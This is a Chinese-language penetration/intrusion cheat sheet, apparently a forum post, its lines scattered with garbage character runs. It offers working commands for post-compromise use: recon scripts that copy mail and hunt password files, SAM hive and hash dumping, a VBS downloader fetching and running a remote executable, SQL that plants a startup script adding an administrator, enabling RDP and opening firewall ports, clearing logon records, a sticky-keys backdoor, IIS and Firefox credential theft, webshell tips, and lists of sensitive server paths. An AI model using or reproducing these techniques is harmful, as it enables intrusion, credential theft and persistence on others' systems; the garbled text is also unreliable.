( F  d) D% }. R5 e4 m4 c& B1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
4 ~; A( ~% T* @+ Z7 ualzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
" x2 m! H8 Y% V' O9 Y6 E) g5 }{
1 ]" h! @( \4 s3 i! S5 n5 S注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
/ ^: k7 x/ y- U* F! [8 J' L3 d' ~若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  

提权先执行systeminfo
token 漏洞补丁号 KB956572
* K3 r* |; O& N2 C6 HChurrasco          kb952004
命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
3 E2 ~( U, H9 z3 ]' N, }——————————————
2、收集系统信息的脚本  
for window：
0 ]/ P# t0 n0 J, q/ t
@echo off
, x* [/ f$ `( S5 secho #########system info collection
systeminfo
ver
. M: @( t6 C. m" }7 d8 ]# s! Dhostname
9 E% q8 T& c3 Wnet user
net localgroup
+ a7 T% ]2 J" e3 r/ `+ Q1 `net localgroup administrators
$ v" z! |% C$ D3 Z0 v- Hnet user guest
' p/ e- J0 f# Lnet user administrator
6 H* V0 n, [" d7 u% ]. U
echo #######at- with   atq#####
2 g4 n; S4 ]1 [4 J5 ~echo schtask /query

: M, S; ^8 e5 N+ A8 G1 xecho
echo ####task-list#############
tasklist /svc
echo
echo ####net-work infomation
# F6 o4 `7 _6 f' u& }ipconfig/all
route print
$ |# O$ |2 m# y: E4 B! f* U( Garp -a
+ T8 Q  t. p% C! K  N& A4 r4 f/ {netstat -anipconfig /displaydns
7 x& ~7 X! I- f6 n& d. T. ~echo
echo #######service############
+ L6 l: U0 w% K& q: d+ R% Msc query type= service state= all
# w0 t+ h8 H6 L9 y: Z' L- h% Recho #######file-##############
( I$ q5 G! v6 ~4 lcd \
4 A+ g3 k; s" p1 _tree -F
for linux：

0 z1 x7 ^! A+ c! r4 n+ x#!/bin/bash
! \1 y4 a2 f: F- a
0 ?3 @# @  p: G6 l9 Wecho #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
! r7 h3 v, e, l1 D2 E* ^& M6 B1 Techo #######basic infomation##
. l+ I( \, m! H$ u) S8 Mcat /proc/meminfo
* [: Y- ?2 T3 S9 Uecho
0 z6 P$ S( Z4 `5 Hcat /proc/cpuinfo
echo
# k$ Y0 h0 a1 z8 w3 W# a4 a5 srpm -qa 2>/dev/null
1 Q4 a4 r  H* a/ i######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null
: e+ ], s' D1 M! P# T. M$ \/ |

9 V1 W1 ~5 q, z" o! d( L, e6 Aecho 'u'r id is' `id`
. K5 V0 d8 [' d" A5 E6 vecho ###atq&crontab#####
atq
/ W. z5 n4 z: V8 L0 Icrontab -l
echo #####about var#####
- z( O- i" Q6 q! m" v4 A" q/ Hset
* b5 Q" {" K2 U1 d2 Z
echo #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
5 I. O( b$ J+ I& c' K3 K0 m+ _cat /etc/hosts
hostname
ipconfig -a
arp -v
0 j+ x8 ]- ]6 X- K( E: b- Y. S3 recho ########user####
cat /etc/passwd|grep -i sh

echo ######service####
, O) f8 j' h. F0 V4 l( ichkconfig --list

for i in {oracle,mysql,tomcat,samba,apache,ftp}
/ ^& P' ]9 B) k& Gcat /etc/passwd|grep -i $i
4 }& v/ G4 ], \% Q" ydone

8 E  p# L4 X3 V0 ylocate passwd >/tmp/password 2>/dev/null
' `- r( M5 J( P5 N- Z% i! Osleep 5
5 V) A" E! [" Q- w2 X, A5 Qlocate password >>/tmp/password 2>/dev/null
sleep 5
% ]7 V: }: Z- _/ T; B1 r/ rlocate conf >/tmp/sysconfig 2>dev/null
sleep 5
) A! E: Y( e0 y9 p5 X' zlocate config >>/tmp/sysconfig 2>/dev/null
sleep 5
( y" h0 K5 S% }, K- d  S
###maybe can use "tree /"###
echo ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
7 W' N9 ~. e' rrm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
4 `  T6 i+ }7 {2 ?3 K               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
1 P! d( A% B4 {# ^接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
, d/ F6 n# c1 B2 G4 {hash 抓完了记得把自己的账户密码改过来哦！
; l9 H+ ~! o# n. k" g据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
3 e% y, c$ g& V- Y6 p. B1 K# M——————————————
1 B7 O2 c! C/ p( t, N  W4、vbs 下载者
1
6 D. l9 n7 f5 Y; a: @2 _  a3 ^echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
+ Z8 Z' A# s5 _* L1 d( jecho sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
: R: X) d  C' t3 \- Wecho sGet.Open() >>c:\windows\cftmon.vbs
9 V8 |; P* R6 Iecho sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
5 D3 c) H$ W' |7 f( Oecho Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
% j3 }; D! J$ j* p. b2 techo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
% N8 D5 ?' z+ Y- `7 }6 |+ ~8 r. e  Ncftmon.vbs
7 P9 M% z& Q% {3 H  E, w8 z1 v
2
; T1 R5 r2 _( V6 ~7 jOn Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
% R7 _& Y! d9 l8 k; f' `" QSet xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
. Y1 E: N+ e& J9 Z$ `1 j" ~2 d# U4 rSet sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
8 Y3 J" R3 f  y5 G, v6 r1 [sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
4 v9 D, K* I% J+ N
, l# d+ e1 U, W& x: h! E% W5 icscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe
/ I0 X" p7 h8 [3 O- A  }( }3 {
当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
4 Q" t% U  t1 o1 w9 s7 e: w——————————————————
5、
1.查询终端端口
- M7 z# C+ i/ ?, w+ D8 v) w( m% ^REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
) [5 l/ Z( j1 H/ K! F+ g: S6 m2.开启XP&2003终端服务
! G4 `* ]$ m0 [5 B! h) Q& U" dREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
* R' {/ \$ }  C3 HREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
# ?) k. K% j1 R8 y$ nREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
8 N: k9 [" u5 x; h; W- q————————————————
, W5 s4 ^# }, q/ P" x6、create table a (cmd text);
( X2 y4 T& \, t& k7 Binsert into a values ("set wshshell=createobject (""wscript.shell"")");
$ A, q! ~" c! w" _! yinsert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
3 I) J5 z+ ?1 L! y/ `; [' y3 z% o7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
2 ^3 Z1 I( H: d6 }_____
8 |: q, T" W  _8 i8 b8、for /d %i in (d:\freehost\*) do @echo %i
* w: k9 J. {; p, t
( j, s: O6 A6 O* d列出d的所有目录
8 ~- [, N6 Z4 L( c  
  for /d %i in (???) do @echo %i
8 D. n& O5 I9 _2 C! q! ~  ]
  W9 E  R; G: }) U) y把当前路径下文件夹的名字只有1-3个字母的打出来
0 j3 D9 D* j) b$ {4 x3 u) V
2.for /r %i in (*.exe) do @echo %i
3 A4 ]% |% A+ a: N0 u; G. D  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i
; T9 t7 i7 w9 G: G4 u( J3 \
3.for /f %i in (c:\1.txt) do echo %i
  
  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
* V7 G  l6 D& [2 j
4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

  delims=后的空格是分隔符 tokens是取第几个位置
——————————
5 j7 b2 Z( {% l2 U1 |●注册表:
1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg

9 h' X# Y+ d* j) O; @+ {; f' l2.修改3389的默认端口:
8 T( s2 ^' t/ Z: X- t: n; A+ [HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.

: e' L* |/ g; P4 W3 J# K3.清除3389登录记录:
- Y8 J; a  O5 k: wreg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

) Q3 O0 n  [- ^( C) S4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg

5.禁用TCP/IP端口筛选(需重启):
" ~3 ?+ V  \% x* B1 `! X$ }REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
& f+ G1 V6 j# N1 z
, i; e- Q5 D6 ?( e8 h8 {6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
* i; ~. A- E& K或者
netsh ipsec dynamic set config ipsecexempt value=0

7.停止指派策略"myipsec":
+ v2 |4 X; Z: q/ _/ m( A7 Ynetsh ipsec static set policy name="myipsec" assign=n

8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
" p8 }' ]* r# v0 I& N6 }9 [+ M
- s8 L$ H) C2 Z1 ]2 y# B! K6 ]5 \# F9.另类方法抓系统密码HASH
( {. ^# q0 |/ w7 N2 _reg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive
# }" i5 d" F/ V+ {0 e8 W4 R$ r3 V; V0 I
10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe
0 t7 M$ T! o: Q
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
( N' F6 a+ C" r( O-----------------------------------
  u8 p, ~2 U' |) N# z% Q; ]' b! U星外vbs(注：测试通过，好东西）
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
" [% S- @; ]6 H8 C4 ^For Each obj3w In objservice
! q! U; y& B; a2 |9 ]childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
) L  H2 @* h9 p. `/ @& lif IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
' b' `. p- O' R8 fif err.number<>0 then
exit for
+ ~# B  `; t  H5 pmsgbox("error!")
+ M' ^- H; W/ {wscript.quit
& ~$ w8 v- ^$ t( v" Rend if
serverbindings=IIS.serverBindings
ServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
: ^' e: J6 o* s* Huser=iisweb.AnonymousUserName
6 _; [8 \8 ]' ~$ d) K" W, kpass=iisweb.AnonymousUserPass
path=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
+ U6 f! p/ ~3 g# X% m% d1 Y+ K( rend if
Next
) Z8 Q# I2 Y. \* xwscript.echo list
: _' }  U4 ?& S- J$ n" _Set ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
- w  X& m3 ]; X  V1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
将folder.htt文件，加入以下代码：
" {0 c6 W; e/ m5 v! |& o- G<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
0 V  g# N7 i. L. M) a</OBJECT>
' v! m5 ^; ^* J复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
  j3 v8 j3 w4 _ url=request.severvariables("path_info")
) C( i" {) Z! {) _2 |) N3 ] path_info可以直接呈现虚拟路径 顺利解析gif大马

==============================================================
LINUX常见路径：

/etc/passwd
2 ]1 c  Z( w7 T9 h2 X/etc/shadow
$ X8 w2 F, o1 p9 H- N/etc/fstab
$ [5 U/ E1 Y2 G% j4 |3 C/etc/host.conf
/ Q" B( T; ]! w, I5 `' ?( \2 w5 B( [/etc/motd
/etc/ld.so.conf
% Q  V& Q" j8 o$ O/var/www/htdocs/index.php
3 q  G* Z" Y, X7 G2 j$ E/var/www/conf/httpd.conf
/var/www/htdocs/index.html
/var/httpd/conf/php.ini
4 ]  R0 J7 l# q* h* U5 d  }/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
/var/www/index.html
/var/www/index.php
/opt/www/conf/httpd.conf
, f: b7 K  @' e2 `/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
' i; Q! ~, C+ ^% s9 [* G/usr/local/apache/htdocs/index.html
7 V1 t) B) y; y- ]' x( z/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
/ L2 O/ ^- f  ]6 J8 T) G/usr/local/apache2/htdocs/index.php
) y5 Z1 O) W0 N! E9 ~+ Q/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
/ d" F5 X  j8 h, S/tmp/apache/htdocs/index.php
5 P) B: R5 `% U5 ?; C/etc/httpd/htdocs/index.php
# e4 j( k5 j9 f; Y$ h  b/etc/httpd/conf/httpd.conf
6 e. h( j$ b- U7 U5 y% k/etc/httpd/htdocs/index.html
  @: R9 w  B( m; A( I! \* F9 a/www/php/php.ini
/www/php4/php.ini
9 W' q% q1 s4 D/www/php5/php.ini
/www/conf/httpd.conf
/www/htdocs/index.php
/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
8 E5 Y* K% ~7 l( G8 \/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
/etc/apache/apache.conf
$ U6 y, _" ~+ ]1 t* y/etc/apache2/apache.conf
/etc/apache/httpd.conf
# G" o8 f' p; j9 |/etc/apache2/httpd.conf
4 t! K- P: g" l0 R+ ?/etc/apache2/vhosts.d/00_default_vhost.conf
: E6 ^1 I& }6 f2 q$ C% E& w/etc/apache2/sites-available/default
9 R8 W( `3 N9 d( u2 V3 @, s/etc/phpmyadmin/config.inc.php
- C# m$ m4 v' h& W( x8 c/etc/mysql/my.cnf
3 c) M+ R4 \7 G1 N/etc/httpd/conf.d/php.conf
* p8 A% O5 _3 ^" [) D$ B/etc/httpd/conf.d/httpd.conf
$ m4 |( l2 t4 S* x/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
) s* x3 j+ ~2 g$ I8 A$ s# O/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/ k! m8 W: h$ f, m  ]- L/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
1 M" o: r' o1 T" i5 ~/ D; b/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/ b6 G3 ^+ ^! q6 p# }4 F; `4 c/var/log/apache/access.log
! u4 d0 e0 Y% I# }# W( |( l; a1 e/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
# _! e/ |" c8 w% l  E/var/log/apache2/access.log
* w7 g  y% Z$ o5 V7 Y/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
+ J% m5 O& r9 c, w4 q) t: b. q/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
' q/ i3 _% h# a/var/log/error_log
/var/log/error.log
/var/log/access_log
4 A6 p& d( i* M- c" p4 E' N/var/log/access.log
7 N. i- ~' g8 O* y! W/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
. U4 Y& N" l' P) W! @2 t9 O/etc/php.ini
/bin/php.ini
/etc/init.d/httpd
; A+ O9 P3 I, N6 I2 Y0 T/etc/init.d/mysql
) F  q: ^8 r  m) j, p3 P9 n5 }/etc/httpd/php.ini
2 h; i3 W# ^: G# E2 U( m/usr/lib/php.ini
/ M1 [+ U2 p: B/usr/lib/php/php.ini
" ]% n0 M& L& q" t( t& V; d/usr/local/etc/php.ini
; n, m0 n: T5 g' v; s7 e/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
, J; g2 K  b: P' Y/usr/local/php4/lib/php.ini
2 n: y/ _3 F  ^; h/usr/local/php5/lib/php.ini
% v3 s+ u4 x" z* U. Q' H( `6 @/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
" _0 Y7 ~' t" o# U# I4 V2 W; p6 ]/usr/local/apache/conf/php.ini
  L9 y3 s5 W# I  B( Y% L% ^4 l1 C/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
# O: m. T+ a& Q( |) L/etc/php4.4/fcgi/php.ini
2 ]  ^# W( B: j1 ]4 V/etc/php4/apache/php.ini
; d1 t6 \0 U2 Q2 c* g; J/etc/php4/apache2/php.ini
# T' r3 [* q) ?. R1 [7 o/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
- }& y! B% h& I8 v9 v5 E& D/etc/php/php.ini
7 _+ t7 ^' R0 k$ M' P' Z/etc/php/php4/php.ini
! O/ R/ S3 d5 t/etc/php/apache/php.ini
/etc/php/apache2/php.ini
/web/conf/php.ini
- }$ \  e* x, l7 ]! j2 K( J/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
9 Z6 v, ~. U( Y" t" ^/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
2 P4 q; L- x6 S( g' P/etc/php4/cgi/php.ini
, m( q8 @+ u, u) O# M9 D% w# X/etc/php5/cgi/php.ini
/php5/php.ini
/php4/php.ini
/php/php.ini
! o$ b& Z4 B- M/PHP/php.ini
  N1 s* h$ ?9 }, C9 t- F& a/apache/php/php.ini
/xampp/apache/bin/php.ini
+ x2 U2 g4 v1 N: a/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
$ c- X5 l" k7 ~% y6 L' C/home/bin/stable/apache/php.ini
0 W$ @6 O& `+ B1 E% x  s/var/log/mysql/mysql-bin.log
/var/log/mysql.log
/var/log/mysqlderror.log
/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
8 |% t) I0 @7 L4 `$ a- ^# c/var/mysql.log
/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
1 T+ E$ ?% k) c7 c4 t. L4 A' E* }/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
, D2 e, e+ ^% J6 C* V" A/etc/my.cnf
4 `; U1 u* P! B/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
  W; {, _' x! |* c. {/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
7 V3 u; w* x0 K1 J+ g/usr/local/cpanel/logs/stats_log
, G2 B6 b: `5 }+ c/usr/local/share/examples/php4/php.ini
* f# n2 ?+ }9 a' T9 J) q/usr/local/share/examples/php/php.ini

2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
* p8 W- {9 J5 w' {: @6 N2 L6 `, Q$ O
" }' M# f. L' H* v0 F6 C. fc:\windows\php.ini
$ ^9 a' W8 _" d! U  }' tc:\boot.ini
6 P( @" A; f) @; [* J& Tc:\1.txt
c:\a.txt
$ R! s+ }+ ?5 x! d
c:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
( g% j& z" e6 A( Gc:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
- l5 P! Q2 S  V- j; L9 wC:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
+ j- |) ~1 D( k9 ~1 uC:\WINDOWS\7i24tool.exe

c:\hzhost\databases\url.asp

c:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
( }8 v- a" P! W- H" E! B# V1 jc:\web\index.html
8 n$ m3 k7 @- fc:\www\index.html
c:\WWWROOT\index.html
c:\website\index.html
/ {* J' S' h! Wc:\web\index.asp
. W' H/ k+ c1 P( {0 g/ \c:\www\index.asp
! H7 Z, m0 K/ s3 p' P8 }% Rc:\wwwsite\index.asp
c:\WWWROOT\index.asp
c:\web\index.php
c:\www\index.php
6 i& H6 ~' f8 k1 q- Lc:\WWWROOT\index.php
5 A1 B' \  H' b& P) D1 s3 Hc:\WWWsite\index.php
0 H5 a+ V* c& ~1 bc:\web\default.html
9 _! b9 Q  Z, b5 N7 U; Fc:\www\default.html
; T7 F5 Y# }! z2 X2 Kc:\WWWROOT\default.html
4 f  U4 O" c2 N: tc:\website\default.html
c:\web\default.asp
& H* n4 @( Y9 G5 C: cc:\www\default.asp
c:\wwwsite\default.asp
% f% q# S( K" G: dc:\WWWROOT\default.asp
c:\web\default.php
c:\www\default.php
$ H9 t" C( H% b% H! V  U! D$ E& `; }c:\WWWROOT\default.php
& `* M, M, r7 w4 o9 Sc:\WWWsite\default.php
# c) Q- K5 c9 Q  O2 p6 kC:\Inetpub\wwwroot\pagerror.gif
- o5 R( r& j% @  s0 ~$ Dc:\windows\notepad.exe
: |: o) F3 N- _* S% M0 rc:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
C:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
: V3 X. v  c+ M8 I& p/ y& E  T9 FC:\Program Files\winrar\rar.exe
9 C  N7 ^3 P  m4 ]" x) D& NC:\Program Files\360\360Safe\360safe.exe
* l+ _# Q4 A% B) RC:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
4 ~2 U/ ^. A8 E3 O1 T; l0 f9 C/ ac:\ravbin\store.ini
) F  z2 H1 U9 o+ b, c2 M2 Ac:\rising.ini
* h  [* {# b  v2 g; G$ Y( ^C:\Program Files\Rising\Rav\RsTask.xml
/ u  @8 l6 J9 Y4 ~8 {! E5 E- r  A- eC:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
# S8 g8 \' l4 D; d: ~C:\Documents and Settings\Administrator\Cookies\index.dat
5 ?' g2 c3 Y+ Z9 t; w7 uC:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
# f9 r1 G$ Q( V: L6 [* k6 P5 ~" rC:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
1 b& s6 U% A& T: o  \  TC:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
1 z  u# f( ^' S8 H% ^" i1 L* b) zC:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
0 s8 }( r: ?/ d" r$ F" J1 U& ^C:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
) O1 W( C  e( I8 L3 j, O" EC:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
( Y+ Z- u3 @, V4 \1 y! x  uC:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
% V1 q0 @$ K" [! QC:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
1 H& j/ ^3 b9 {# K. ^6 tC:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
6 ]/ G7 h8 k& OC:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\bin\mysql.exe
6 K8 u* L+ }4 u, [c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
2 p0 d  i* _% C: t$ R+ m( S/ v$ BC:\Program Files\Oracle\oraconfig\Lpk.dll
+ q4 M) E% `1 ]" |C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
C:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
% q* x  Z+ X2 }( Q- |C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
+ S% @5 E5 Y* {" aC:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
9 J+ t" @' Y2 j5 ?c:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
7 i! `. K: f6 _9 F* Y# G+ Qc:\tomcat6\bin\version.sh
3 i0 R6 l9 X0 Gc:\tomcat\bin\version.sh
c:\program files\tomcat6\bin\version.sh
8 ^) f5 v! [3 B; P- \C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
  B* x; m1 k- _! _& b% [- Rc:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
c:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
  U3 Y9 Q8 }, k/ ]/ p' mc:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
5 I4 g+ `3 d; b$ K. ]; l/usr/local/tomcat5527/bin/version.sh
9 ~( P; v4 t+ w7 \5 @% c5 |/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
c:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
% z& J! D0 T; d! D8 B; s! {c:\Program Files\Tencent\qq\bin\qq.exe
